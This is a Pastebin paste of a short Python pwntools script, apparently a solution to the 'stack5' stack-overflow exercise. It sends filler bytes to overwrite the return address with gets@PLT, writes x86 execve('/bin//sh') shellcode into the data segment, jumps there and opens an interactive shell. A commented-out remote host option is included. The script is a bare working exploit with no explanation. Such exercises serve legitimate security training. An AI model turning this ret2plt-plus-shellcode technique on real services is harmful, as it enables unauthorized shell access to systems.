PhieuLang

stack5

Feb 5th, 2017
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.50 KB | None | 0 0
  1. from pwn import *
  2.  
  3. def stack5():
  4.     # HOST = '127.0.0.1'
  5.     # PORT = 8888
  6.     # r = remote(HOST, PORT)
  7.     r = process("./stack5")
  8.     raw_input("debug?")
  9.     gets_PLT = 0x080482E8
  10.     datasegment = 0x080495A4
  11.     shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
  12.    
  13.     payload = "A"*0x44 
  14.     payload += "A"*8
  15.     payload += p32(gets_PLT)
  16.     payload += p32(datasegment)
  17.     payload += p32(datasegment)
  18.     r.sendline(payload)
  19.     r.sendline(shellcode)
  20.     r.interactive()
  21.    
  22. stack5()
Advertisement
Add Comment
Please, Sign In to add comment